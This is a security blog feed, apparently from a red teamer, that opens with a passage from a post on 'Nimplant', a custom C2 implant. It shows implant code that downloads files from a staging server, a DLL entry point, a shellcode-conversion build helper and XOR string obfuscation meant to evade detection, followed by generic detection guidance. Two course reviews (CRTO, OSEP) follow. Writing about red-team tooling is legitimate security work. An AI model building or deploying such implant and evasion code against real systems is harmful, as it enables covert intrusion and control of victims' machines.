</span></span><span style="display:flex;"><span>    url = url &amp; li.taskpath &amp; <span style="color:#ed9d13">&#34;/&#34;</span> &amp; fileId &amp; <span style="color:#ed9d13">&#34;?id=&#34;</span> &amp; li.id
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Download the file - Puppy will take care of transparent gzip deflation</span>
</span></span><span style="display:flex;"><span>    res = fetch(
</span></span><span style="display:flex;"><span>            url,
</span></span><span style="display:flex;"><span>            headers = @[Header(key: <span style="color:#ed9d13">&#34;User-Agent&#34;</span>, value: li.userAgent)]
</span></span><span style="display:flex;"><span>            )
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> res == <span style="color:#ed9d13">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Something went wrong uploading the file (Nimplant did not receive response from staging server &#39;&#34;</span> &amp; url &amp; <span style="color:#ed9d13">&#34;&#39;).&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">return</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        filePath.writeFile(res)
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Uploaded file to &#39;&#34;</span> &amp; filePath &amp; <span style="color:#ed9d13">&#34;&#39;.&#34;</span>
</span></span></code></pre></div><p><strong>Defense Evasion</strong></p>
<p>As mentioned earlier on in this post, the idea behind Nimplant is to minimize malicious functionality. This includes defense evasion tricks that, when spotted by a defender, reveal the true nature of Nimplant. I did however choose to include a variant of <a href="https://github.com/Yardanico/nim-strenc">nim-strenc</a>, a library that implements a macro that XOR-encodes static strings at compile time. I&rsquo;d recommend to take a look at the code, it&rsquo;s a pretty good example of how powerful compile-time macro&rsquo;s can be in Nim.</p>
<p>Though this results in a collection of strings that may look suspicious on manual inspection, it has several advantages. First, it hides semi-sensitive string values from prying eyes, unless an analyst is brave enough to open up a debugger. Additionally, the random seeds for XOR-encoding ensure that the fingerprint of Nimplant is different every time it is compiled, even if the same configuration is used. This helps prevent static fingerprinting of the binary by e.g. the MD5 hash of the file. Finally, using XOR does not affect the entropy value of the binary - an important measure for determining if encrypted and potentially malicious content is present in a binary. Overall, this results in a net benefit for Nimplant where some degree of obfuscation is achieved while limiting the amount of  suspicious indicators.</p>
<h3 id="the-wrapper">The Wrapper</h3>
<p>The last component of Nimplant is a wrapper script that helps users with compiling the appropriate binaries (after correctly configuring the shared <code>config.toml</code> file), and setting up the C2 server. It supports a variety of compilation options, including <code>.exe</code>, <code>.dll</code>, and <code>.bin</code>. The first two are supported natively by Nim, and are implemented through a compile-time flag in the main Nim function, as follows.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>when defined exportDll:
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Manually define the NimMain() function for garbage collection (thanks OffensiveNim)</span>
</span></span><span style="display:flex;"><span>    proc NimMain() {.cdecl, importc.}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Define an exported function that can be used to trigger the DLL</span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># In this example, one would run &#39;rundll32 .\file.dll,Connect&#39; to execute</span>
</span></span><span style="display:flex;"><span>    proc Connect(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : <span style="color:#24909d">bool</span> {.stdcall, exportc, dynlib.} =
</span></span><span style="display:flex;"><span>        NimMain()
</span></span><span style="display:flex;"><span>        runNp()
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">return</span> true
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Structure the binary as a regular executable</span>
</span></span><span style="display:flex;"><span>    when isMainModule:
</span></span><span style="display:flex;"><span>        runNp()
</span></span></code></pre></div><p>The compilation helper function basically just constructs the Nim compilation command, accounting for any compile-time and cross-compilation flags that may be needed. If position-independent shellcode is requested as an output format (useful when using other shellcode packers, like Nimpackt 😏), the <code>ConvertToShellcode</code> function from the excellent <a href="https://github.com/monoxgas/sRDI/blob/master/Python/ShellcodeRDI.py">ShellcodeRDI.py</a> is used to convert a freshly generated Nim DLL file to shellcode. Though this is a pretty well-documented technique by now that brings some obvious OPSEC risks, it seems to work quite well in the situations that it&rsquo;s needed. The compilation helper function looks like this.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>def compileNim(<span style="color:#24909d">type</span>):
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> (<span style="color:#24909d">type</span> == <span style="color:#ed9d13">&#34;exe&#34;</span> or <span style="color:#24909d">type</span> == <span style="color:#ed9d13">&#34;dll&#34;</span>):
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># Define base compilation command</span>
</span></span><span style="display:flex;"><span>        <span style="color:#40ffff">compileCommand</span> = <span style="color:#ed9d13">&#34;nim c --hints:off --warnings:off -d:release -d:strip --opt:size --passc=-flto --passl=-flto --app:gui -o:client/bin/&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">if</span> <span style="color:#24909d">type</span> == <span style="color:#ed9d13">&#34;dll&#34;</span>:
</span></span><span style="display:flex;"><span>						<span style="color:#999;font-style:italic"># Add flags for DLL compilation</span>
</span></span><span style="display:flex;"><span>						<span style="color:#999;font-style:italic"># The &#39;-d:exportDll&#39; flag triggers the &#39;when defined&#39; statements shown above</span>
</span></span><span style="display:flex;"><span>            <span style="color:#40ffff">compileCommand</span> = compileCommand + <span style="color:#ed9d13">&#34; --app=lib --nomain -d:exportDll&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">if</span> os.name != <span style="color:#ed9d13">&#34;nt&#34;</span>:
</span></span><span style="display:flex;"><span>						<span style="color:#999;font-style:italic"># Use cross-compilation from Linux using MinGW</span>
</span></span><span style="display:flex;"><span>            <span style="color:#40ffff">compileCommand</span> = compileCommand + <span style="color:#ed9d13">&#34; -d=mingw&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#40ffff">compileCommand</span> = compileCommand + <span style="color:#ed9d13">&#34; client/NimPlant.nim&#34;</span>
</span></span><span style="display:flex;"><span>        os.system(compileCommand)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">elif</span> (<span style="color:#24909d">type</span> == <span style="color:#ed9d13">&#34;raw&#34;</span>):
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># Generate PIC from Nim DLL using sRDI</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">if</span> not os.path.isfile(<span style="color:#ed9d13">&#34;client/bin/NimPlant.dll&#34;</span>):
</span></span><span style="display:flex;"><span>            compileNim(<span style="color:#ed9d13">&#34;dll&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#40ffff">dll</span> = open(<span style="color:#ed9d13">&#34;client/bin/NimPlant.dll&#34;</span>, <span style="color:#ed9d13">&#34;rb&#34;</span>).read()
</span></span><span style="display:flex;"><span>        <span style="color:#40ffff">shellcode</span> = ConvertToShellcode(dll, HashFunctionName(<span style="color:#ed9d13">&#39;Connect&#39;</span>), <span style="color:#40ffff">flags</span>=0x5)
</span></span><span style="display:flex;"><span>        with open(<span style="color:#ed9d13">&#34;client/bin/NimPlant.bin&#34;</span>, <span style="color:#ed9d13">&#34;wb&#34;</span>) as f:
</span></span><span style="display:flex;"><span>            f.write(shellcode)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        print(<span style="color:#ed9d13">&#34;ERROR: Unrecognized compile type.&#34;</span>)
</span></span></code></pre></div><p>If the user has prepared the binaries that they want, they are ready to start the server. Of course, the same script offers a convenient <code>server</code> flag to launch the server, which will use the same <code>config.toml</code> used to generate the Nimplant files. The operator is now ready for action!</p>
<p><img src="/images/nimplant-console.png" alt="Nimplant Console"></p>
<h2 id="detection-guidance">Detection Guidance</h2>
<p>Now, since I&rsquo;m one of those pesky red teamers and Nimplant will be used in red teaming engagements, I cannot share specific IOCs. That would just be shooting myself (and several others) in the foot. However, as I&rsquo;m not all bad, I will try to put on my best blue hat and share some generic detection guidance.</p>
<p>As with all detection, it is preferable <strong>not</strong> to focus on the detection of specific tools, but rather try to develop generic rules that catch certain techniques. Nimplant is no exception to this, as its techniques for establishing C2 communications and managing commands aren&rsquo;t at all new. As such, if you see an untrusted binary or unusual process calling out to the internet and subsequently executing suspicious commands - that&rsquo;s something to investigate.</p>
<p>As mentioned, the available functionality of Nimplant is limited to &ldquo;benign&rdquo; operating system features as much as possible. While this decreases the attack surface in a sense, it introduces some limitations for operators. If an operator wants to deploy a Cobalt Strike beacon from Nimplant, for example, they will have to resort to techniques that use this native functionality. This means that classic detections, focusing on for example the filesystem and registry, work well here.</p>
<p>If you get a hold of a Nimplant binary in some way, it will also carry some indicators. It will obviously point to Nim being used as a programming language, but that&rsquo;s not an indicator on its own. What&rsquo;s more interesting is the function names and (potential) imports in the binary. If you are lucky enough to get a memory dump of a running Nimplant process, try digging for the encryption key. Having this should allow you to prove beyond a shadow of a doubt that you&rsquo;re dealing with something malicious&hellip;</p>
<p>Obviously I&rsquo;m not a defender, so I probably missed a couple good detection points and pitfalls. If you have any additions (or improvements from an offensive perspective), please do let me know!</p>
<h2 id="when-open-source">When open source?!</h2>
<p>As mentioned above, I&rsquo;m very much a fan of open-sourcing tools, including offensive tooling (within limits of reason, of course). Open-sourcing a tool such as Nimplant allows anyone to have a look at your code and potentially contribute to it. That&rsquo;s a good thing, but it also increases the risk of defenders fingerprinting your code to create detections for it. As we still would like to make use of Nimplant in engagements where it isn&rsquo;t immediately detected I am not open-sourcing the tool for the time being. Hopefully I&rsquo;ll be able to do this somewhere in the future, once we got some good use out of it!</p>
<p>However, Nimplant is in no way new or ground-breaking, and the techniques it uses are all known. If you&rsquo;re interested in tools like this, the resources are out there to start building your own. Not only does this work better for evading defenses, it provides a great learning experience and something to show on your resume. Obviously building your own C2 from scratch isn&rsquo;t a necessity, extending or modifying an existing open-source framework or even playing with the several extension kits for Cobalt Strike can already bring great results.</p>
<p>If you&rsquo;re stuck on any offensive (Nim) development project don&rsquo;t hesitate to reach out, I&rsquo;m always happy to help (given the purposes of your project are ethical - obviously). In the end, the most important things are to learn, have fun, and help your clients become more secure.</p>
]]></content></item><item><title>Operate Like You Mean It: 'Red Team Ops' (CRTO) Course Review</title><link>https://casvancooten.com/posts/2021/07/operate-like-you-mean-it-red-team-ops-crto-course-review/</link><pubDate>Sat, 10 Jul 2021 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2021/07/operate-like-you-mean-it-red-team-ops-crto-course-review/</guid><description>&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>If you hang around the infosec &amp;ldquo;twittersphere&amp;rdquo; or in other security communities, odds are you have already seen someone share their experiences on the &lt;a href="https://www.zeropointsecurity.co.uk/red-team-ops">&amp;lsquo;Red Team Ops&amp;rsquo; course by ZeroPointSecurity&lt;/a>. I had heard a &lt;em>lot&lt;/em> about this course prior to enrolling in it myself - almost exclusively consisting of positive reviews. The author of the course, &lt;a href="https://twitter.com/_RastaMouse">RastaMouse&lt;/a>, is quite a well-known figure in the infosec community. You may know him for his open-source tool contributions, such as &lt;a href="https://github.com/rasta-mouse/Watson">Watson&lt;/a> or &lt;a href="https://github.com/rasta-mouse/ThreatCheck">ThreatCheck&lt;/a>, or if you are a HackTheBox-enthusiast you may know him for the RastaLabs pro lab.&lt;/p></description><content type="html"><![CDATA[<h2 id="introduction">Introduction</h2>
<p>If you hang around the infosec &ldquo;twittersphere&rdquo; or in other security communities, odds are you have already seen someone share their experiences on the <a href="https://www.zeropointsecurity.co.uk/red-team-ops">&lsquo;Red Team Ops&rsquo; course by ZeroPointSecurity</a>. I had heard a <em>lot</em> about this course prior to enrolling in it myself - almost exclusively consisting of positive reviews. The author of the course, <a href="https://twitter.com/_RastaMouse">RastaMouse</a>, is quite a well-known figure in the infosec community. You may know him for his open-source tool contributions, such as <a href="https://github.com/rasta-mouse/Watson">Watson</a> or <a href="https://github.com/rasta-mouse/ThreatCheck">ThreatCheck</a>, or if you are a HackTheBox-enthusiast you may know him for the RastaLabs pro lab.</p>
<p>Needless to say, I was quite intrigued about this red teaming course provided by his company ZeroPointSecurity. I enrolled in it not too long after passing the <a href="https://casvancooten.com/posts/2021/03/getting-the-osep-certification-evasion-techniques-and-breaching-defenses-pen-300-course-review/">OSEP certification</a>, excited to further build my knowledge and tradecraft as a red team operator!</p>
<p>The Red Team Ops course is hosted on the &lsquo;Canvas&rsquo; Learning Management System. It consists of roughly two parts: the course itself, which contains various modules with theory and lab exercises, and the exam. Both need to be completed with a satisfactory result for the student to attain the &ldquo;Certified Red Team Operator&rdquo; (CRTO) certification. Progress is managed through &ldquo;Badgr Pathways&rdquo; within the Canvas platform.</p>
<p><img src="/images/crto-pathway.png" alt="CRTO Pathway"></p>
<h2 id="the-course">The Course</h2>
<p>As mentioned, the course-side of the certification consists of a variety of modules, which contain the theoretical material of the course and lab exercises to test your understanding of the discussed subject matter. The figure above shows the 9 &ldquo;main&rdquo; modules, but these are only the modules that are graded through a lab exercise. At the time of writing, I counted 27 modules, each covering multiple subjects in varying levels of depth. The nice part about the course is that you get lifetime access to the materials, which are periodically updated by RastaMouse. As an example, the last update at the time of writing was mid-January, when a module on Kerberos Credential Cache was added to the course.</p>
<p>Let&rsquo;s start with &ldquo;the good&rdquo; of the course materials. RTO felt like a very welcome break from other courses, in the sense that the materials are very informative, concrete, and focused on day-to-day tradecraft. All techniques are demonstrated with a C2 framework (either Covenant or Cobalt Strike if you have a license), giving you the means to immediately start applying these techniques in practice.</p>
<p>The modules cover a very broad range of interesting topics, such as the &ldquo;standard&rdquo; killchain (reconnaissance, initial access, lateral movement, etc.), <a href="https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/">Active Directory exploitation</a> (ranging from basic to advanced techniques), credentials and password cracking, AppLocker, AV evasion, advanced proxying techniques, and much more. I think the power of the course lies in the diversity of course material, which really set you up with a solid foundation of proven tradecraft as well as a solid toolset, no matter your experience level before coming into the RTO course. On top of that, RastaMouse really knows what he is talking about which does show in the materials.</p>
<p>As with any course, there are also improvement points. My main issue with the course comes down to the same point that I listed as a &lsquo;pro&rsquo; above - the course is quite focused on practical operations and tradecraft, so a lot of modules lack a clear background or explanation on the &ldquo;why&rdquo; of things. This means that the course will teach you quite some cool tricks, but it won&rsquo;t always equip you with the knowledge to understand <em>why</em> or <em>how</em> exactly these tricks work. Luckily, some of the more important modules do a better job at this, so overall it&rsquo;s not too much of a concern. I would however strongly advise people taking RTO to not take all the content at face value, and find some extra background to get a better grip on the &ldquo;why, what, and how&rdquo; of things. Luckily, RastaMouse gives you quite some references during the course to get you started with this.</p>
<h2 id="the-labs">The Labs</h2>
<p>The labs are a key aspect of the course, and mostly function as a sandbox environment to practice techniques discussed during the course. The practical exercises that you are required to complete during the course all take place in the labs. Some exercises are quite straight-forward and mirror the techniques discussed in the theory, others require you to really get creative with the tools and techniques that have been discussed and apply some problem-solving skills of your own.</p>
<p>The labs are quite strictly firewalled and hardened, so simply compromising every machine with the DA password hash and dumping all the flags is out of the question. Some machines have multiple entry points for you to practice, others have been hardened to allow you to compromise them only through a specific technique.</p>
<p>Though you will see most of the labs as part of the course and exercises, I would recommend everyone to do a &ldquo;clean run&rdquo; after completing the exercises. There are for sure some parts of the lab that you can only discover on your own, which also gives you the opportunity get some more valuable practice in before your exam. 🙂</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">NEEDS MORE BACON <a href="https://t.co/0Mu0UfLEYr">pic.twitter.com/0Mu0UfLEYr</a></p>&mdash; Cas van Cooten (@chvancooten) <a href="https://twitter.com/chvancooten/status/1393655024866283520?ref_src=twsrc%5Etfw">May 15, 2021</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>I can think of very little improvement points regarding the labs. One of my primary objections is that initial access into the labs can be finnicky at times, and it cannot be bypassed once you already gained access. This is quite annoying if the lab has been reset and you just want to re-establish beacons, only to find that the phishes you sent earlier now stopped working due to infrastructure instability. Luckily, RastaMouse has confirmed that this is something that will be fixed in the next version of the course.</p>
<p>If you at any point get stuck during the exercises or labs, a Slack Workspace and Canvas forum are available. I found the Slack channels to be a helpful resource with RastaMouse being very active, and quite some other folk also hanging around and being helpful. There&rsquo;s even a bot which auto-recognizes some error codes and tells you to migrate out of &ldquo;Session 0&rdquo; if you&rsquo;re stuck there (if you know you know 😉).</p>
<h2 id="the-exam">The Exam</h2>
<p>As per usual and for obvious reasons I cannot disclose too much about the setup or contents of the exam. In a general sense though, the exam fits the course quite well. It consists of four flags, of which you need to submit at least three to pass. You get 48 hours to submit your flags, which should in any case be plenty of time to take it easy and go through the exam labs at your own pace.</p>
<p>Truth be told, I was a bit disappointed at how easy the first three flags were in my version of the exam. The fourth flag however provided much more of a challenge and was a welcome change in pace from the others. It should be noted that the course is however marked as a beginner-level course, so I shouldn&rsquo;t complain about the difficulty too much. Obviously, there is no shame in &lsquo;only&rsquo; submitting three flags to pass the exam. However, based on my experience with the exam I would say that everyone who has prior red team operations experience (either working experience or through certs like OSEP) should really challenge themselves to try and submit all four flags - it&rsquo;s definitely worth it!</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">So taking hacking exams with a slight fever (thanks Pfizer...) turns out not to be the best idea, but I made it! All four flags for the <a href="https://twitter.com/zeropointsecltd?ref_src=twsrc%5Etfw">@zeropointsecltd</a> CRTO certification exam submitted 😄<br><br>Very fun course and exam, especially the last flag was worth it. Blog post soon™! <a href="https://t.co/kvJXnIXbvj">pic.twitter.com/kvJXnIXbvj</a></p>&mdash; Cas van Cooten (@chvancooten) <a href="https://twitter.com/chvancooten/status/1410624406687260679?ref_src=twsrc%5Etfw">July 1, 2021</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p>The exam doesn&rsquo;t require a report, which is a welcome break to some. I don&rsquo;t mind reporting for exams myself, and honestly it should become routine to take good and report-worthy notes in any case. So, even if it&rsquo;s not strictly required, my strong advice would be to challenge yourself to make a habit of keeping quality notes. If you need some inspiration, I discuss my technique for keeping quality notes and turning them into a report easily <a href="https://casvancooten.com/posts/2020/05/generating-pretty-pwk-reports-with-pandoc-and-markdown-templates-inside/">in this blog post</a>.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The RTO course is the most practical red teaming course I have seen. Though it&rsquo;s a little thin on providing in-depth explanation or theory in some modules, it really sets you up with a solid toolbox and knowledge of proven tradecraft that you can start applying straight away. The labs are very qualitative and really give you the opportunity to internalize what you&rsquo;ve learnt, as well as the opportunity for further practice. The exam is a bit easy for more experienced red teamers, but getting all four flags is a fun challenge none the less. The course comes at a much lower price point than for example Offensive Security or SANS courses, especially considering that one or two months of lab time should be enough for most.</p>
<p>Overall, I would say that the course is worthwhile for almost all (aspiring) red teamers. If you already have a lot of red teaming experience the course will lose some value, but you will for sure learn a lot of new tricks and the exam can be a fun challenge nonetheless. I personally can&rsquo;t wait to see what RastaMouse has in store for us with the future new rendition of this course (RTO2 when?!)!</p>
]]></content></item><item><title>Getting the OSEP Certification: 'Evasion Techniques and Breaching Defenses' (PEN-300) Course Review</title><link>https://casvancooten.com/posts/2021/03/getting-the-osep-certification-evasion-techniques-and-breaching-defenses-pen-300-course-review/</link><pubDate>Sat, 27 Mar 2021 00:00:00 +0000</pubDate><guid>https://casvancooten.com/posts/2021/03/getting-the-osep-certification-evasion-techniques-and-breaching-defenses-pen-300-course-review/</guid><description>&lt;p>&lt;em>Updated &lt;strong>February 13th, 2023&lt;/strong>: Some referenced courses are now licensed by AlteredSecurity instead of PentesterAcademy, this post has been updated to reflect.&lt;/em>&lt;/p>
&lt;h2 id="introduction">Introduction&lt;/h2>
&lt;p>When Offensive Security announced the new &lt;a href="https://www.offensive-security.com/pen300-osep/#course">PEN-300 course&lt;/a>, also called &amp;ldquo;Evasion Techniques and Breaching Defenses&amp;rdquo;, &lt;a href="https://www.offensive-security.com/documentation/PEN300-Syllabus.pdf">the syllabus&lt;/a> immediately intrigued me. The course promises to provide an advanced course, aimed at &amp;ldquo;OSCP-level penetration testers who want to develop their skills against hardened systems&amp;rdquo;, and discusses more advanced penetration testing topics such as antivirus evasion, process injection and migration, bypassing application whitelisting and network filters, Windows/Linux post-exploitation and lateral movement (hello Active Directory!).&lt;/p></description><content type="html"><![CDATA[<p><em>Updated <strong>February 13th, 2023</strong>: Some referenced courses are now licensed by AlteredSecurity instead of PentesterAcademy, this post has been updated to reflect.</em></p>
<h2 id="introduction">Introduction</h2>
<p>When Offensive Security announced the new <a href="https://www.offensive-security.com/pen300-osep/#course">PEN-300 course</a>, also called &ldquo;Evasion Techniques and Breaching Defenses&rdquo;, <a href="https://www.offensive-security.com/documentation/PEN300-Syllabus.pdf">the syllabus</a> immediately intrigued me. The course promises to provide an advanced course, aimed at &ldquo;OSCP-level penetration testers who want to develop their skills against hardened systems&rdquo;, and discusses more advanced penetration testing topics such as antivirus evasion, process injection and migration, bypassing application whitelisting and network filters, Windows/Linux post-exploitation and lateral movement (hello Active Directory!).</p>
<p>The course materials state that PEN-300 is a course focused at advanced penetration testing and explicitly <em>not</em> red teaming. However, I do believe that the discussed materials will provide a great foundation for pentesters and red teamers alike. Though more advanced topics such as EDR evasion are not discussed, the materials do focus on evading most common detection measures and operate in highly restrictive environments.</p>
<p>When I saw the first positive reviews of the PEN-300 course rolling in, it didn&rsquo;t take me long to enroll in the course. I ordered the 90 days package, since I took the course next to my full-time day job. Unless you can dedicate a lot of time I would probably advise most to do the same, even though it is possible to complete the full course materials and labs in way less time (I completed both in about six weeks). Do note that I completed the course during a Covid-lockdown, which gave me a bit more free time and flexibility in the evenings and weekends. 🙂</p>
<blockquote class="twitter-tweet"><p lang="en" dir="ltr">Officially passed the 48h certification exam! Y&#39;all may now call me OSEP🥳<br><br>Blog post soon-ish (hopefully) <a href="https://t.co/SBqHP5MiXS">pic.twitter.com/SBqHP5MiXS</a></p>&mdash; Cas van Cooten (@chvancooten) <a href="https://twitter.com/chvancooten/status/1374993077639733250?ref_src=twsrc%5Etfw">March 25, 2021</a></blockquote>
<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script>


<p><em>As always - if you have any questions about the course that are unanswered in this post, please do <a href="https://twitter.com/chvancooten">hit me up on Twitter</a>. I&rsquo;ll gladly discuss any questions you may have (except specific questions on the exam, duh) and will add them to this post if relevant.</em></p>
<h2 id="the-theory--exercises">The Theory &amp; Exercises</h2>
<p>In my opinion, the course materials and the accompanying exercises are where the course really shines. Though the course doesn&rsquo;t discuss any ground-breaking new concepts or super-advanced techniques that you have never seen before, it does a great job at making you really understand the concepts required to be a better pentester and security researcher. Each chapter is paired with a dedicated lab environment, containing multiple machines (usually a Windows development machine and several target machines, containing specific software related to the chapter at hand). This makes it very easy to practice the theory discussed in the chapter in your own, dedicated, environment.</p>
<p>As with OSCP, the course offers the theory in both a 700-page PDF and approximately 19 hours of video. I found that I prefer going through the PDF at my own pace, interchanging that with the exercises. As such, I completely skipped over the videos. This is 100% personal preference though, as both media discuss the same materials.</p>
<p>The first part of the course goes over exploit development and AV evasion techniques, and has a strong focus on C# and PowerShell. Though I have relatively little experience programming in C#, the course really discusses the basic concepts well and also gives you the tools to go &lsquo;above and beyond&rsquo; in building your own exploits. It&rsquo;s very easy to follow along, and you will be writing relatively complex exploits (e.g. an AV-safe process hollowing shellcode runner) in no-time! I would highly recommend also completing the &ldquo;extra mile&rdquo; exercises in this chapter, as these are the ones that really challenge you to one-up on the course materials and build some exploits based on research of your own.</p>
<p>For reference, I have published the code snippets I created as part of the OSEP code below. With the exception of the Python shellcode generator and some extra functionality I added here and there, you are guided through building all of these during the course. I would like to note explicitly that the purpose of me publishing this code is <strong>not</strong> for anyone to copy-paste it - I merely want to provide a reference of what you will be capable of doing after following the course in advance!</p>
<p><a href="https://github.com/chvancooten/OSEP-Code-Snippets"><img src="https://gh-card.dev/repos/chvancooten/OSEP-Code-Snippets.svg?fullname=" alt="chvancooten/OSEP-Code-Snippets - GitHub"></a></p>
<p>Another part I particularly enjoyed were the chapters &ldquo;Advanced Antivirus Evasion&rdquo; and &ldquo;Application Whitelisting&rdquo;. Both of these chapters discuss relatively simple concepts (AMSI bypasses and AppLocker bypasses, respectively), but dedicate a sizeable chunk to going through the process of finding and building your own bypasses by means of security research. For AMSI bypasses, this includes API hooking to identify the functions used, manually patching said functions to disrupt the expected result, and subsequently building an automated exploit. For the AppLocker bypass, this includes reverse-engineering a Microsoft-signed binary from start to finish to find a function that compiles and executes provided source code to execute arbitrary code in restricted environments. By going through these processes in detail, OffSec really aims to give you the tools and mindset to become a better security researcher in the long run. And that shows!</p>
<p>Two chapters that felt a bit out of place in the course were the chapters &ldquo;Bypassing Network Filters&rdquo; and &ldquo;Kiosk Breakouts&rdquo;. The former discusses some interesting concepts (such as domain fronting), but it feels rushed, the exercises don&rsquo;t really teach you anything, and the lessons learnt don&rsquo;t really come back in the other chapters or the challenge labs. The kiosk breakout chapter is good fun and contains some nice exercises, but it discusses a <em>really</em> specific use case that you won&rsquo;t likely ever see in practice.</p>
<p>In the second part of the course there are two chapters discussing Linux post-exploitation and lateral movement. These chapters cover some interesting concepts such as AV evasion on Linux (easiest <em>ever</em>), some basic C development, and CI/CD or Ansible exploitation. However, they are way overshadowed by the focus on Windows / Active Directory in later chapters. These chapters contain a <em>lot</em> of relevant materials regarding domain/forest exploitation and lateral movement (including MSSQL exploitation). Though I already completed the CRTP and CRTE courses by AlteredSecurity which discuss largely the same concepts, I found that OffSec again does a good job of explaining in-depth the details you need to know. This helped me better understand some foundational concepts, such as the exact difference between the three types of delegation that exist in Microsoft&rsquo;s implementation of Kerberos. Though the exercises in these chapters take less effort than the ones in the first part of the course, I would definitely recommend giving them enough attention since these topics will be well-represented in the challenge labs (and likely the exam).</p>
<p>Since I already had a cheat sheet on Windows and Active Directory exploitation from CRTP/CRTE, I decided to enrich this with the tradecraft and nuances discussed in OSEP. As such, it may be a good help when you get stuck exploiting AD in OSEP now as well! If you haven&rsquo;t seen it, you can find that cheat sheet here:
<a href="https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/">Windows &amp; Active Directory Exploitation Cheat Sheet and Command Reference</a>.</p>
<h2 id="the-challenge-labs">The Challenge Labs</h2>
<p>There are six challenge labs accompanying the course, each consisting of multiple target machines (up to 10 per lab!) and your trusty Windows development box. Some labs have a specific &ldquo;theme&rdquo; related to the various chapters in the theory, others are more generic and force you to combine all the pieces of what you have learnt. One big advantage compared to the OSCP labs is that all of these challenge lab environments are dedicated for you and as such can not be messed up by other people following the course.</p>
<p>The quality of the labs is really high, and some force you to combine some complex topics to progress. This makes the labs excellent practice for the exam. I would <strong>strongly</strong> recommend you to save all the additional exploits developed for the challenge labs, as those will definitely come in useful at a later point. 😏</p>
<p>That being said, I think the course could do with more challenge labs. I was able to complete all the labs in under two weeks, which is just too little if you compare it to the amount of course materials discussed. Another downside is that the labs are fairly single-use and do not offer many &ldquo;alternate paths&rdquo;. You can go through them again for perfecting your techniques but you can never re-create the initial experience of figuring out what the hell you have to do to achieve your goals, unfortunately.</p>
<h2 id="the-exam">The Exam</h2>
<p>For obvious reasons, I cannot go into too much details regarding the exam (and I will not answer questions about it in DMs, either). However, I do want to briefly discuss the overall experience of the exam as I thoroughly enjoyed it. The exam setup is quite different from other certification exams, and focuses on attaining a (realistic) exam objective rather than &ldquo;just getting DA&rdquo;. The objective is represented by a file called <code>secret.txt</code>, and if you attain this objective you instantly satisfy the requirements for the practical side of the exam. You can also satisfy these requirements without getting to the objective, in this case you need to gather 100 points by submitting the OffSec-typical <code>local.txt</code> and <code>proof.txt</code> proof flags instead.</p>
<p>What I also like about the exam is that there are multiple distinct routes towards the objective. Each path has their own entry point and exploitation path all the way up to the objective. I was able to complete the first path and gain access to <code>secret.txt</code> in approximately 8 hours - including some 2 hours of delay because of a dumb (<em>really</em> dumb) oversight in my enumeration. Me being the completionist that I am, I wasn&rsquo;t satisfied with that result and wanted to complete all the exploitation paths. Unfortunately, due to reasons I won&rsquo;t disclose here, I was not able to do that and ended up giving up on 100% completion after several additional hours of failed exploitation efforts.</p>
<p>Of course, to get the OSEP certification you also have to submit an exam report within 24 hours of your exam end time. The requirements for the report are well-documented by OffSec in their <a href="https://help.offensive-security.com/hc/en-us/articles/360050293792-OSEP-Exam-Guide">OSEP exam guide</a>. The report should contain reproducible steps, describing your exam exploitation shenanigans and proof files. After wrapping up the exam, I was able to generate my 70-page report in under two hours since I already documented my exploitation path really well as I went. I used Markdown templates similar to the ones I used for OSCP, and then compiled them into one master document and used Pandoc to generate a pretty report complete with syntax highlighting. If you are a fan of Markdown like I am, I would highly recommend this approach to reduce reporting effort and stress.</p>
